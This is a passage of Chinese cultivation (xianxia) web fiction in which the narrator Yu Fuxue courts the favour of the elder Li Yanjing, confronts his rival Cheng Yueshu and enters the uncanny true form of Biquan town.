我背对着他,李晏京侧身,从背后轻轻拢住我,牵起我的手,将储物戒慢慢地推回我的手指上。
“东西填满了,郁负雪,下次回来第二件事就是找我要东西,明白吗?”
我低头看着,他的呼吸在我耳边回荡。
“第一件事是什么?”我问他。
李晏京垂下眼眸,伸手将我耳边发丝捋到耳后,“让我检查你有没有受伤,明白?”
我觉得他还是刚刚屋子里的那副模样。
上次药池一别再一见时,他变得有些缥缈感,抓不真切,那时候应该是割完他的欲念,现在是又生了念头,还没割舍,是吗?
眼神好炽热,人也更好懂。
李晏京察觉到我走神,手捏着我下巴,我被迫抬头看他,他重复道:“明白?”
我抿唇轻笑,“嗯,谢谢师祖。”
他松开我,手指划过我的后颈,动作轻柔且熟练,拢起我的头发,拿出玉冠和那根发簪,转眼间就为我束好。
如此,他才收回手。
我打算趁着他念想还在,很好说话,能问什么问什么,能要什么要什么。
利用、诱惑、索取。
我要获得李晏京完全的偏袒。
“师祖,”我转头,专注地注视他的眼睛,“那日你降临我身,为什么没有要东西?你对参禅老祖和陈青芜做什么了,又说什么了?”
我要表现得不满,接受我们的亲密关系,那有什么不能让我知道的?
我问出口,“有什么我不能知道的吗?”
李晏京的神色难辨喜怒,只有刚刚散去陈青芜的灵力时,明显有些不愉。
他说:“没做什么,拔剑,治疗伤口,揪出参禅,仅此而已。”
李晏京只回答我做了什么主要的事情,关于陈青芜的禁言,还有他和参禅之间说了什么话,一字不提。
他怕是也觉得这样敷衍,主动告诉我,“参禅成名早于我,但我们是一个时代的,当年正魔大战,他在背后阴我,这些年我一直在找他……”
我对那老和尚没有太大的兴趣,只是确定李晏京现在的
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状态的确有利于我,我就更加大胆,打断他的话。
“我不想知道这些。”他被谁阴,现在不都活得好好的,还是正道第一人。
我淡笑着靠近,主动用胳膊贴着他的胳膊,殿内光线充足,我从他的眼里清晰地看见自己,那被他亲手打扮出来的样子。
“师祖,你能不能帮我解决陈青芜道的问题?”
闻言,李晏京的眉头轻蹙。
我一口气说完,“另外,能不能帮我算一下,孟竹臣和常善在哪儿,他们真的死了?”
李晏京凝视我片刻,半晌,意味不明地哼笑一声,他抬手捏揉我的耳垂。
“测算天机,损耗寿命。郁负雪,你当我是什么,欠我几个要求的债,就能让你觉得债多不压身?他们值得你这么做?”
我没说话,稍微歪了点脑袋,也没有拿开他的手。
李晏京又生气了,为什么?因为我要求太多?可是我和他不就是各取所需的关系?我都没有计较什么故人一事了。
他的眼睛看着我,像是能看透我心中所想,李晏京轻疑,他说:“我的欲念没告诉你,我不喜欢你替别人求我么,郁负雪?”
我微微一愣,很快反应过来,这种时候不能退缩,“你又不能陪我出去,我只能问,问完我自己去,况且,我也不是不回来了,修为一事不还要麻烦您吗?”
李晏京说:“避重就轻。”
沉吟片刻,我也不再做那说好话的讨人模样,只是冷着脸,笑得淡薄,“您不喜欢吗?我若真冷血无情,师祖,那就不像你心中那个人了吧?”
这话冒险,说的不好就容易使人勃然大怒,我在赌李晏京不会失态。
果然,他只是皱眉,很快松开,自己选择揭过这个问题,他问我:“你为什么觉得我不能出去?”
我愣住,疑惑中带着警惕。
之前整合的信息,哪里出了差错?
我不再开口,只是看着他,说多错多,这种时候不答才是明智的。
李晏京见我不答,只稍稍思考,就肯定地对我说:“你自己得出的结论。”
我犹豫着,慢吞吞开口,“你的欲念……算是分神吧,不是被天道盯着?”
李晏京淡淡道:“我的确被天道盯着,但这和我能否出去,有关系?”
“那登仙路的事呢?”我问。
李晏京没说话,眉头紧蹙,手腕轻翻,整座峰都被他的神识和灵力覆盖起来。
接着,他倏地抬头望向殿顶,目光如刀,无声无息地散发恐怖威压,但避开了我。
我顺着他的目光看去,那里什么都没有。
他在看什么?
当我疑惑不解,过着刚刚每一幕时,忽然明白,殿内的确没有什么,但苍穹之上是为天道,李晏京不在看这殿顶,而是在和他眼中的天道对视!
因为我提到登仙路?可是王德福也说过!
我兀自出神,这是因为我站得高,接近天道产生的巧合,还是我说出这字,就会引来注视?
外界发生了什么巨大响动,我丝毫不知。
李晏京很稳地收回视线,他没有怪我的意思,只是伸手捂住我的嘴。
“暂时不要说话。”
他的气息将我覆盖。
25. 非生非死非存
等他松开,我便直勾勾地盯着他,“师祖,如果我再出事,你会坐视不管吗?”
李晏京收回手,拢起掌心,不假思索地淡淡道:“不会。”
这回答还算令我满意。
那……
忽然,殿正中央的后方传来一声响动,打断我的思绪,寻声望去时,我瞥了眼李晏京。
李晏京眼瞳中的白光仍在,他稍偏过头,只用耳朵听、用神识看,神情威严又散漫,透着几分不一样的感觉,有些不像正道之人。
“怎么了?那里有什么?”
李晏京长睫微垂,转过头重新看我,“不安分的老鼠而已。”
我不是很感兴趣,只是顺口一问,点点头,再次开口:“师祖,陈青芜和孟竹臣他们的事,帮帮我好不好?”
李晏京手指轻敲,他仿佛早就料到我的固执与纠缠,“可以,没点表示?”
我明白,现在我和李晏京已经绑在一起,早在我决定依靠他时,我就逃不开了。
他要表示,我就给他表示,左右他唯喜我皮相,只要我不是很过分,他应该都会依我。
“师祖,”我把手掌覆在他的掌上,“那你不许动。不然我自己去找,不来求你了。”
他的眼中带着淡淡的笑,没有动,如我所料,李晏京喜欢我的主动,纵容我越界的小要求,他的故人也是如此作态?
那可真是恶心、做作。
我手上用劲儿,故意坐到他腿上,慢慢歇下去力道,不同于在我屋内,我那时候被蒙着眼睛,什么也不知道。
现在我能清楚地看见李晏京为我动情。
他的眼神有些凶狠,大腿肌肉绷紧,我能感觉到,他在克制。
这种将李晏京握在手心里的感觉使人上瘾,仅仅是换个地方坐,就能让他露出这副模样。
他才是那个琴弦。
我一波动,他就有回应。
这样才对。
我看着他的眼睛,心想,现在这样才是正确的。
我要看的是李晏京能为我疯的样子,而不是用灵纱蒙住我的眼睛,他在主导,我被欺负得找不着北。
“师祖,我很重吗?您现在像个木头一样坚实,硌着我了……”
越是开心,我说话越是漫不经心的轻。
我故意埋怨他,想要他为我变成另外的模样,至于具体是什么样?我还没想清楚。
李晏京默然,“明知故问。”
然后,他告知了我所要的答案。
“陈青芜的事,可以,但他不清楚,其实参禅带他上的这条路就是最正确的。”
我微微一愣,“为什么这么说?”
在此之前,我们一直认为,陈青芜就该修佛道,真我本心,轮回方渡。
李晏京道:“陈青芜是要和参禅相存的,没有你,他们的神智会相互磨灭,陈青芜会成为新的疯和尚参禅,他走杀戮道,是必然。”
寥寥数语,让我内心咯噔一声。我只庆幸我没有选择逃走,陈青芜会变成疯和尚,负亲师友,负天地,无自己。
我不接受他那样的结局。
李晏京说,陈青芜是参禅绝佳的新壳子,天生七窍玲珑心,早年其迷茫于道,活得随风一样自在,在参禅看来只是浪费天赋。
参禅老祖生于天灾之年,皇帝不做人,沉迷于修仙长生,不问人间疾苦,各地灾难四起,他的父母带着他,和同村的人一起逃荒。
一路走,一路停,要前往皇城寻口吃食,途经一座寺庙,便暂时借住。
而不巧,他们碰见的恰是那种满口仁义道德,实则恶面鬼心的假和尚,受京城大家们供奉,便真以为自己有几分本事。
仗着有些道行,以佛修身份,佛要戒的,他们全沾,甚至每一样都往极处去。
面对参禅这群路过的流民,女的留下,男的下锅,他们那点儿修为在修真界来说只是刚入门,天灾年又重口腹之欲,要食人丹滋味。
参禅他们羊入虎口,寺庙大门紧闭,无人能逃的出去。
假和尚们只有秃瓢是真的,他们心思恶劣,道貌岸然,一个一个品尝他们这群人的恐惧和绝望,那是臣服的滋味。
参禅年岁小,人也瘦小,这时还正处于善恶认知的阶段,天天缩在角落耳濡目染,沾了邪气,又太渴望活着,演化成比和尚们更假的慈悲心。
这时候,殿后再次传来一声响动,李晏京停下话语,我看过去,若有所思地收回视线。
李晏京继续说:“有的人装久了,总忘记自己是个什么东西来的,和假和尚交换,弃同村之人,引众人入魔洞,坑杀低阶修士,他说这叫渡人。”
参禅认为,在这个世界,无论是凡间还是修真界,都遵循一个弱肉强食的规则。
就像皇宫里的皇帝,日日载歌载舞,哪里用得着愁肚饱,愁银财。
那么,他应当如何活下去呢?
他想到那些油光满面的和尚,他们说的或许不无道理。
是不是将世人的生命早早结束,就是一份功德?修仙本就逆天而行,凡人来世上也是受苦的,他不忍众生悲苦,何尝不是慈悲?
参禅想,那就让他主宰他们的苦吧,他们的痛,他愿意来承担,他会提前渡人,送他们前往极乐。
他就此遁入杀戮佛道。
“孽重,妄想成仙,欲重,妄想天下人拜服,天道无眼,教这种人逃脱生死,残魂躲于千机寺。”
李晏京每说一字,都带着不屑,我听见殿后有声响,很快停歇。
我稍回过神,所以陈青芜本身未来的命格在那儿,经过插手,去掉的只是参禅那部分,但那道还是他原本应该走的道。
“所以,现如今……”
李晏京打断我的话,“只有两种,一,继续走,二,废掉道心,从头筑基。”
沉思片刻,我摇头:“能让陈青芜来找您吗?看他的意思吧。”
李晏京没有接话,只是望着我,很显然,他并不想管陈青芜的事,只是看在我的面子上,多言几句。
“那孟竹臣和常善在哪?还活着吗?”我有心想更加大逆不道地对李晏京动手,但还是忍住了。
李晏京轻笑一声,那眼神意味深长,手环过我的腰,自己讨点甜头。
“他们从未离开过碧泉镇,仍在那里。”
我有些激动,立即就要站起来,却被李晏京掐着腰,轻轻摁了回去。
意识到自己的失态,我连忙稳住心神,现在是我有求于他,语气不能僵硬,态度不能不好。
“那他们的魂灯为何灭了?”
“非生非死,魂灯自灭。”
他挑起我一缕白发绕在指间,“玄清宗现在的魂灯有所欠缺,只是个连接弟子生机的物什,漏洞颇多,不是能知生死的法器。”
玄清宗不是他一手建立的吗?莫非只定下了山门,就通通撒手不管了?
无论如何,知道他们没事,我松了一大口气,可以说是雀跃无比。
我跑神去千里之外,恨不得出门就到碧泉镇,李晏京的手却不轻不重地按压我的后颈,手法极佳,我舒服地眯起眼睛。
“我什么时候可以走?”
李晏京说,不急。
遂牵起我的手,顺着我的指节一一捏过去,每根手指都顺一遍,等他满意地摸完,“我会和你们一起去碧泉镇。”
“那这里……”
渡劫大能出山?为什么?王德福当初说的不能出山,是在骗我?不对,能不能还是看李晏京,若他打定主意悖逆天道,就不存在不能一说。
那又是什么让他心甘情愿窝在这无名峰上多年,当真只是认错,修补登仙路?
李晏京可不像那种乖乖听话的人。
他抬手擦过我的侧脸,“不用管,怎么总走神,日后这样,我说不定会生气。”
我回过神,根本没听清他说什么,左右敷衍他就对了,匆匆应着,并未瞧见李晏京深沉眼眸中的兴味。
调动腹中的上古幽冥火,看重新被戴在手指上的储物戒,里面再次被填满法器法宝、丹药符箓、以及成堆的灵石山。
至于书籍,他许是见我动的少,就将其全都撤去,换作更多的灵石,极品的、中品的都有,底蕴深厚。
“师祖,您究竟有多少东西?”
我抬眸,侧着身靠在他肩上,呼吸地缓慢,就望着他的喉结,不小。
“不喜欢?”
说实话,我当然喜欢。
程月舒那时候天天来我院内炫耀时,我就忌妒季无涯对他的偏袒和爱护,那些珍贵的东西我从未见过,那些隐藏在下的爱护我从未有过。
我只是装作不在意。
“喜欢。”我说。
“喜欢就好。”李晏京答。
临走时,我停下迈出门槛一半的脚步,回头仔细听有无先前的响声。
思索片刻,我问道:“师祖,您降我身后,是将参禅杀了,还是驱逐而已?”
李晏京站起后,刚好停在盘龙石柱的背光处,全身隐没在灵烛火照不到的阴影中。
殿外正值白昼,两相对比,现在的我无法看清李晏京的表情。
他似带笑意的声音响起,与此同时,灵烛的火噼啪一声。
“他如今在哪儿?你不是已经猜到了,郁负雪?”
看来参禅的残魂下场不怎么样。
我的目光在殿后扫过,落在被他阴过的李晏京的手中,说不定不如魂飞魄散。
对他们的恩怨,我是没有太大兴趣的,什么事能惹得李晏京记了这么久,我唯独对着事有一点好奇,但也只是一点点,程度还不如后山那个禁阁。
又过两日,李晏京这些天都会叫我去他那儿,时间不定,早中晚都可能,地点不定,正殿、偏殿的榻上、长亭,都去过。
也不知道清月和蛇鹫去哪儿了,陈青芜也不是胡乱在峰上走动的人,生灵消失大半,去处不知,约莫是冬眠。
如此一来,每次都只有我和他。
李晏京用大量灵药和阵法,天地间灵气在他手中汇聚,引入我的身体,他淡色衣服赤红云纹,袖袍翻飞时,颇有种仙人降世的感觉。
我的灵脉、丹田和根骨都
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被他滋养着,取天地日月的精华,我所看不见的灵气和世间自生的精气。
一些凝滞和枯萎的地方被他一一理清、抚平,所耗药材不计其数。
我觉得是我该得的,毕竟是他李晏京自己要我,对我好,那是应该的。
再过一日,李晏京说可以启程去碧泉镇了,于是我前去找陈青芜,准备出发。
陈青芜住的地方在无名峰的犄角旮旯处,我敲门叫他,不一会儿,他便开了门。
见到我,陈青芜先是上下打量一番,李晏京没有找机会要债,经过温疗,我的状态比到芙气镇时还要好。
“瞧着南玄仙尊对你挺好,”陈青芜弯起眼睛,“前几日动静不小,是你渡劫?”
我疑惑不解,“修为恢复没那么容易,什么渡劫?前几日有动静?”
陈青芜微微讶异,很快明白什么,“就在三日前,峰上突降天雷,劈了九九八十一道还多,余韵久久不能平息。”
“峰上灵力罩硬抗了下来,如果放到别的门派,想必早已灰飞烟灭了。”
我眉头轻皱,明白李晏京那天忽然用灵力将我裹住是为何,我顺口问道:“很恐怖?”
陈青芜颔首:“我当时看了一眼,差点心神不稳,被震碎神魂,有可能因为我的状态不对,但那危险感是真的。”
我心中一凛,天道要劈死我?
有什么是旁人都能说得,我却说不得的?
我抬眼,没有和陈青芜说这事是因为我,“可能是仙尊做了什么,先不说这个,孟兄和常兄还活着,在碧泉镇。”
陈青芜和我一样,先是一喜,接着又沉默,“……还在碧泉镇?仙尊说的?”
“嗯。”
我们对视一眼,不约而同地想到,碧泉镇的事过去有段时间了,如果两人真在那里,又怎么可能不知道外界发生了什么。
碧泉镇还有古怪。
这次出发,我并没有带清月走。
就算我肯,李晏京也不会同意,清月和蛇鹫被我劝说着留在无名峰上,我让他守好我的房间,猜我会带什么回来给他吃。
在峰口等李晏京出现后,我见到他,就知道或许他又割下了欲念,那种在药池时,缥缈的、非人似的冷淡再次出现。
其中原因我只能瞎揣测,我猜,是渡劫期接近登仙,需要割舍红尘欲念,不能那么重。
也许李晏京和季无涯同为一脉,他也是修无情道那一类的,对我的情感需要定期割舍。
而真相究竟如何,得看李晏京是否值得我再去探测。
李晏京走到我的面前,虽然他的状态再次恢复成之前模样,但目光仍习惯专注地望着我,就仿佛天地间只有我一人。
陈青芜在一边,见李晏京前来,很明显愣了一下,才规规矩矩地行了个晚辈礼,李晏京只扫去一眼,点过头就收回视线。
我有些讪讪,想起这些天整理思绪,接受治疗,都忘记告诉陈青芜,李晏京也会一同前去的事了。
清月和蛇鹫在一旁站着,他有些不乐意,蛇鹫在他肩上,啄他耳边的头发,他想再为自己争取一下,只是碍于李晏京站在我身边,愣是憋着没开口,不敢吵闹。
我好笑地看着他,还是走过去,蹲下抱住他,轻声道:“等我回来?”
蛇鹫轻轻叫了一声,紧接着,清月也闷着嗯了一声。
告别他们,我被李晏京带着前往碧泉镇,陈青芜在后面跟着。
重返旧路,我已经不再是云秀峰的大师兄,身边同行的人也大不一样。
落到碧泉镇郊外,我稳住身形,脸色有些白,李晏京的灵力卷在我的腰上,丝丝缕缕透过身体梳理我的气息。
我抬头看向碧泉镇,刀刻的镇匾上落了层雪,周边的树和竹子被雪压弯,镇门里好像隐隐约约有人路过。
旁侧走出几名猎户,裹着厚衣,手里还提着野兔,嘻嘻哈哈地笑,呼吸时白气冒出,又散开。
除了季节不同,这里和我来时几乎一模一样。
不是说碧泉镇无人生还吗?
陈青芜也呆愣在原地,他的视力比我更好,自然能看见镇里头更多的人,他怔住了,喃喃道:“这是……怎么回事?”
随即,他猛地扭头,力度之大,我都能听见咔吧一声,他望着千机寺的方向,从碧泉镇任何一个地方看去,都能望见千机寺突出的一点佛顶。
陈青芜欲言又止地转头看我,“负雪,我……我想去……”
我轻笑打断他,“去吧,去看看。”
千机寺毕竟是他大半个家。
陈青芜感到十分抱歉,后退着转身,丢下一句话,“抱歉,负雪,我就去看一眼……看完会立即回来。”
眼见青光闪过,陈青芜朝千机寺飞去。
我偷偷看向身边的人。
“师……”话语未落,我身后,自天边传来一些人的声音。
我眼眸微沉,倏地转过身去,耳坠被我甩出一道弧度,撞在脸上,我面色阴寒地抬起头,注视着御剑飞行翩翩而来的众人。
最前方领头的人,是程月舒。
26. 程月舒你恶心
程月舒远远见到我,眉头轻轻一皱,他的身后跟着一群弟子,以他马首是瞻。
他们来做什么?碧泉镇又成了宗门任务?
我没有开口,瞧他这副模样,我无法看出他是否去过溪城,也不知有没有遇到我为他准备的一点小绊子。
程月舒看了眼我身边的李晏京,李晏京背对着他,于是他将目光转投向我。
身后的弟子中有部分人见过我那日受的刑罚,对我有些轻视,纷纷交头接耳。
“这不是那个云秀峰的那位吗?”
“是啊,那天我没去,但我听说了!啧啧,当真是一头白发,走火入魔了。”
“他来这儿做什么?我怎么听说碧泉镇的事好像就和他有关?”
“诶,也不知道怎么回事,碧泉镇现在又有人了,当时明明闹得挺大的。这段时间听说好多人有去无回,我不想进去了,师尊非要我来。”
“怕什么,不是有程师兄吗?”
我眼眸微动,他们来之前已经有几批人来过碧泉镇?
那程月舒这个嫌疑者呢?就这么大大方方地带队前来调查?
根据程月舒的脸色,我辨不出什么心虚的成分,瞧着是淡定无比。也是,当初他就以那懵懂无知的模样天天装着痴缠我。
现在怎么可能会有异样露出。
李晏京没有说话,我就站在他身边,望着程月舒道:“小师弟,你们来做什么?”
我故意这样恶心他。
现如今他不再是那个籍籍无名的炼气期弟子,身边多了许多好狗,被我忽视的其他弟子率先不乐意。
慕强的心理谁都有,在他们看来,程月舒是快速顿悟,突破到金丹期的,而我的金丹被宗门收去,权当教训,是万万不可能出现在程月舒身上的。
“你怎么和程师兄说话的!”
“郁负雪,你心思不正,现如今程师兄可是云秀峰的大弟子了,他才是长垣仙君的关门弟子,你算什么东西!”
“就是,往日里高高在上,现在栽跟头了,还这幅模样!”
程月舒抬手挡了挡身后的弟子们,眼神多次看向背对着他的李晏京。
我注意到了,莫名的有些不痛快。
在这时,李晏京转过头来,看向那群弟子,程月舒这才得以见到李晏京的面容,更令我惊讶的是,他认识李晏京。
那表情很明显,虽然转变极快,但我还是看见他那一瞬冒出的惊诧和贪婪的喜悦。
他在高兴什么?
程月舒整理表情,像有万般委屈,又强行憋回去,他再一次抬手稍按,身后的人被他的威压轻轻一拍,便慢慢歇声。
其中一人小声赞叹道:“程师兄对威压的控制度真的精准的可怕……太厉害了……这就是天才吗?”
我毫无形象地笑出声,李晏京本皱着眉,闻声朝我看来。
程月舒言辞恳切道:“都别说了……师兄他当时也不是故意的,我相信,他只是鬼迷心窍,不是真想杀我。”
他朝前走出一步,我冷下脸,侧向李晏京身边踏出一步,眼睛瞧着程月舒的脸,手抓向李晏京的衣袖。
在程月舒的视线里,我甚至仗着李晏京的偏爱,把他那一块儿的衣角揪在一起。
“师祖,他们好吵。”
我要知道程月舒是个什么想法。
李晏京垂眸,也不见他动,那群还在反应中的弟子们就全部被灵力割伤了舌头,立即捂着嘴大叫,但一点儿声音也发不出来。
程月舒的一派轻松的表情转为震惊,他反应极快,碍于身后带着群弟子,当即就要对李晏京行礼告饶,但同样发不出声。
他捂着脖子抬头,那双灵动的眼睛瞪圆,让我更想剜去解恨。
我侧着身,揪住李晏京的衣袖淡淡地斜睨程月舒,见他眼底有无法压抑下去的贪嗔痴妒怨。
这么混浊的人,也不怕脏了我的金丹。
“师祖,你认得他吗?”
我看向李晏京,眼睛带着点笑,享受着李晏京的目光定定地落在我的脸上,在我似是威胁的目光里,他配合无比。
“不是什么人都值得本尊认识。”
那一地无声哀叫的弟子吓得呆住,他们终于反应过来,这人是李晏京,是他们玄清宗那个传闻中坐镇于后山的老祖!
他们看向我时,眼神里全都是恶意。
我居高临下地看过去,他们跌坐在地上,一群年岁尚轻、天赋尚可的弟子,来此地历练,涉世不深,好懂得很。
那是对我的鄙夷和不屑。
我就知道,谁都会以为我下贱,凭借如今这副异于常人的样貌勾引南玄老祖。
往日风光悉数崩塌,无人记得我曾经的天赋。
我能感觉到程月舒的腹内有我的东西,那使我恍然,令我憎恶。
我大可以让李晏京直接帮我用威压碾碎他,让程月舒跪在我面前求饶。
再让李晏京把季无涯叫来站在我面前,让我那亲爱的好师尊跪着和我道歉。
但我更想自己亲自动手,将程月舒腹内的金丹,或者元婴什么的都行,亲手剜出来,再当着他的面攥碎。
程月舒的修仙路,我得亲手断去才放心。
我拉着李晏京离开,出于某些心理,我甚至不想他和我、清月以外的任何人说话。
他既然喜欢我,就不该再去看别人。我心思阴暗我是知道的,我可以不喜他,但他想要我,就得顺着我内心的规则来。
“听他们说,碧泉镇的异常又引发各门派发出历练任务?都不怕危险么?”
李晏京和我走到碧泉镇镇门口,看着里面人来人往,淡淡道:“金丹以下顶多为迷障,金丹以上的也就多转几圈罢了。”
那就当没有太大危险。
可消失在碧泉镇的人又是怎么回事。
我拉着李晏京往深处走,现在还是下午,尚未到黄昏的时候。
我同他本就没什么话可说,他就这么被我扯着,没有大能的架子。
等我走出一段距离,耳坠里才多出些声音,那是镇外弟子的惨叫声。
我回过神,看向身边的人,颇有一些质问的意思,“师祖,程月舒见过你?”
李晏京看着来来往往的人,但任何人在他眼里都宛若白骨,没什么意思,引不起他的波动。
“见过。”
“那你觉得他和我,哪个更得你心?”
这是明目张胆的讨哄,我心有不快,要点好听话舒舒心,能有什么关系?
我等着李晏京的回答。
李晏京轻笑,将我的腰揽过,身后有一队抬着肥野猪的人从我身边路过,刚刚他们差点撞倒我。
我目视这群看起来没什么异样的人。
“当然是你。”李晏京道。
我却再没有想要深究的意思,听一耳朵也就过去了,我和他没有什么实质性的关系,这话当不得真。
“师祖,这碧泉镇在你眼里是什么样?镇民们是什么样?”我试探性地询问,“是不是反复念着一句话?”
李晏京依着我,如果他还有欲念,可能非得要我的同等回应,但他现在只顺着我的思路,眸光微动,声音带点兴味:“嗯?你能看见?”
我说,是陈青芜告诉我的。
李晏京淡了笑,说:“嗯,是那样。”
“什么话,能不能告诉我?”
“只是人生前遗留的执念罢了。”
我总觉得他在骗我。
我不说话,李晏京也不再多言。
但他揽过我后,手就没再松开,我被带着走,每路过一处标志性的地方,就能想起当初和胡熊的交谈。
可惜胡娘子,也可惜一个痴人。
身边的李晏京存在感太强,我离他近,就没有人再靠近我,风景看腻了,我自然地走起神,将警惕心塞到李晏京那儿去。
程月舒等人不知怎么到了前头,我回过神,四下张望,带着李晏京绕圈,前往当初去的那个酒楼。
小二还是那个小二,一脸谄媚,对着客人们捧高踩低。四下也有暗骂声不断,小二平日里就这般不招人待见。
我进入酒楼,离李晏京稍远一些,他才注意到我,瞧我一头白发,还好似真人一般“哎哟”一声!全然不记得我是谁。
“客官一个人呐?咱里边儿请?”
我没回话,只仔细打量他,把小二看得发毛,看样子要用唾沫星子“踩一踩”我。
“……客官这是做什么?不吃酒便不吃酒就是!干看着我,莫不是来找茬儿的?”
原本我就瞧不出有什么,现在我更加无法看清他的真面目,或许我也跟当时的孟竹臣一样,半浸了进去。
我转头问李晏京,
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“去二楼吗?”
接着,就见程月舒的身影阴魂不散地出现在门口,我顿时沉下脸,同时也确定了,程月舒需要李晏京,他想接近他。
那李晏京之前斥程月舒为赝品,应该是有什么我不知道的门道在里面,程月舒上去过无名峰,和李晏京说过话?聊过天?
是否同我一样亲密?
程月舒道:“师兄,好巧。”
随即才领着身后一队神色带着敬畏和惊恐的师弟师妹们对李晏京行礼,所有人就数他最为淡定,“弟子,云秀峰程月舒,拜见师祖。”
身后稀稀拉拉跟着一片声音。
我见李晏京要回头,上前几步,打断他的动作,李晏京的眼里只能有我,其他人算什么东西。
我越过他,缓步走到程月舒的面前,看向他身后几人。
其中两人也是云秀峰的人,他们被我的视线扫过,先是瑟缩了一下,随即在李晏京和我之间扫视,目光说什么不言而喻。
“师兄。”程月舒又规规矩矩地喊我。
我眯起眼,看着云秀峰的那两人,他们看不起我。
我觉得好笑,没理会程月舒。
“我说过吧,成长的太快,我会杀了你们。”
他俩和其他听到这话的人顿时震惊。
“郁负雪!你怎么敢当着老祖的面说这些!”
“你敢!你现在已经不是我们的大师兄了!”
周遭镇民俱是一静,他们放下手中的碗筷,停下交谈声,与此同时,窗外的天色逐渐暗淡下去。
我这才将目光看向程月舒,只笑他:“天才小师弟,你带这群累赘做什么,吵吵嚷嚷的,聒噪,就像你当初一样,来白给人送命不是吗?”
程月舒神色不变,他定定地看我半晌,眼底藏着我看不懂的情绪,或许那就是他为什么恨我的来源,我心头滚过千万种猜测,一一被我否决。
为什么?难不成和李晏京有关?
程月舒的目光剜过我的脸,深吸一口气,又笑着叹出来,“我的好师兄……碧泉镇的天黑的可快了,有什么话我们进去再说,你要是想听道歉,我现在就能说,对不起,当初是我不好。”
李晏京看过去。
“我太紧张了,一直没能和你道歉,原谅我好不好?至于……”他的手放在小腹上,朝我迈出一步,灿烂的笑带点病态感,“你若想要金丹,我可以立刻就拿出来还给你!”
在其他人听来,那是偿还,而非归还。
我眉头狠狠一蹙,后退几步撞在李晏京的胸膛,我回头看一眼,见是他又收回视线。
被程月舒恶心得够呛,尤其是看他如今仍这副装作师兄弟情地深望着我的模样。
“你好恶心。”
放作往日,我是绝不会说出这种话的。
可我现在背靠李晏京,格外的踏实。
“程月舒,你好恶心啊,和……”
我表情微白,提到季无涯还是会哽住,我没办法那么快放下,意识到这点,我开始唾弃自己。
身后人的手臂绕过我的腰,稍斜着放在我的腹部,他手指一动,就引起我腹内幽冥火的共鸣。
我被烫得轻轻一颤,若无其事接上话,“和季无涯,一样恶心。”
弟子们听见我直呼长垣先君大名,全都脸色大变,看我像看一个失心疯的人。
而我的身后传来一声极轻的笑,气流卷过我的耳朵,惹得我耳尖发痒。
天,彻底暗下去,我眼前一花,李晏京收回手,幽冥火重新安分下来。
碧泉镇已经大不一样。
在我面前的程月舒他们消失不见。
酒楼里原本坐着吃饭谈笑的镇民全都成为白着脸的死人,目光呆滞,落不到实处。
我屏住呼吸,愣在原地,片刻后左右观望,那小二不远处的更为恐怖。半边脸已经缺失,里面被挖成空洞,只有头骨连着颈椎,呈现青灰骨色。
本该在我身后的李晏京也不见踪迹。
“李晏京……?”
无人回应。
我走出酒楼,听见镇中心传来热热闹闹的奏乐声。
环顾四周,整个镇子变得破破烂烂。
那些木建墙壁或破损、或虫蛀,悬挂在檐角的灯笼剩半截儿,各大铺子的幌子都成了丝条。
“这是碧泉镇的真面目?”
27. 碧泉镇诡渡傅
碧泉镇的景象大变,所有建筑都被重新排列,部分融合在一起,中间是挤压穿插的地板。
在这偏靠镇口的地方一片寂静,远处镇中心传来热闹的敲锣打鼓声,灯火通明。
风卷过,团成一团的枯枝像球一样撞在竹筐边停下,我祭出暗月剑,仔细看过街边的店铺和摊位。
所有人都如同被虫蛀空的老树,外皮掉落,内里空洞,只有一个剩下的壳。
我放轻脚步,朝声源处走去。
离得近了,地面便多出许多蔓延的细小裂纹,长得像根系延伸的末端。
忽然,背后多出一声踩踏声,和我的步伐频率只错开小半瞬,我未停,凝神去听身后的声音。
又是一声更近的踩地声传来,我不再等待,立刻旋身直刺,却见徐昭瞪大眼睛,正伸出半只手要拍我的肩膀。
他反应极快,手腕翻转,掌心蓄满灵力拍向暗月剑,而我也及时卸下力道,剑尖堪堪擦过他的脖颈。
李晏京给的剑怎么会是凡品,徐昭的手顿时被锋利的剑气震开,鲜血淋漓。
他龇牙咧嘴地捂着手后撤,我们同时开口。
“嘶,道友……是你,郁负雪?你头发怎么全白了?”
“你怎么在这。”我淡淡开口,挽了个剑花收回剑,没有解释头发的原因。
徐昭回去后定然打探过我的消息,如此虚假地再问,是故意和我装模作样套近乎?
他甩着手靠近,灵力划过,手心伤口缓慢愈合,他慢悠悠接上自己的话,“……还挺有个性。”
我本以为他会和其他人一样,说,原来这就是走火入魔的模样,头发雪白,好邪异。
可徐昭只是笑道:“少年白头多有忧愁,郁道友瞧着就像平日思虑颇多之人,还是得少烦些神才是啊。你看我,就差念阿弥陀佛剃个光头了。”他指着自己。
我又想起他在芙气镇客栈时,老神在在品茶的模样。可他哪里是什么善茬,就凭他孤身一人能从那么多的魔修手中杀出来,还有功夫去溪城找陈青芜,就足以令我警惕。
我无言以对,于是再次询问:“你来碧泉镇做什么。”
徐昭听到这话就烦,他抓着剑,另只手挠头,“还不是我师尊他老人家不满意我什么都没捞到,又听说碧泉镇有古怪。镇民都死了是清清楚楚的事儿,但没过多久就有人发现,本该空无一人的镇子又满了人。凡人来来往往,过着自己的生活。”
他放下手,乐道:“那群德高望重的不来调查,把这事儿变成历练分给小弟子。千机寺没了,它及其附属地盘的归属问题,久久也没谈下来,碧泉镇是个好契机,不就让我这个倒霉的又出门了么。”
我看着地上逐渐粗一些的裂缝,微微疑惑,用剑尖点着地面问他,“就你一个人?”
徐昭看着前方的路,实话实说道:“没带叽叽喳喳的拖累,这不是怕再遇见像郁道友你一样拿人威胁我的人吗?”
我毫无羞愧地点头,“是该注意。”
徐昭被我噎了下,快走几步跟过来,“没有比你更古怪的人了,郁负雪。”
我笑了一声,没否认。
我的本性确实古怪、阴暗,这我知道,也承认,以前那寡言少语的稳重大师兄,只是我树立的假形象。
徐昭看我好几眼,尤其是头发,他还是没忍住,用剑鞘从我腰间挑起一缕发丝,我偏过头,侧身一剑削向他。
“管不住手?”
也不知他判断的依据是什么,徐昭笑着点地后撤,用剑鞘挡了一下,咔得一声响。
“确认一下是不是本人罢了。”
我收回暗月剑。
他又荡回我身边,憋了半天,“诶,那个谁呢?陈青芜,怎么不在你身边?”
也不知道陈青芜去千机寺有没有如愿见到想见的人。
“我和他不是从属关系,他去哪儿了我不知道,也管不着。”
徐昭煞有介事地点头,“那你来这儿做什么?你不是已经成了无门派的散修吗?”
我敷衍道:“好奇,来这儿看看。”
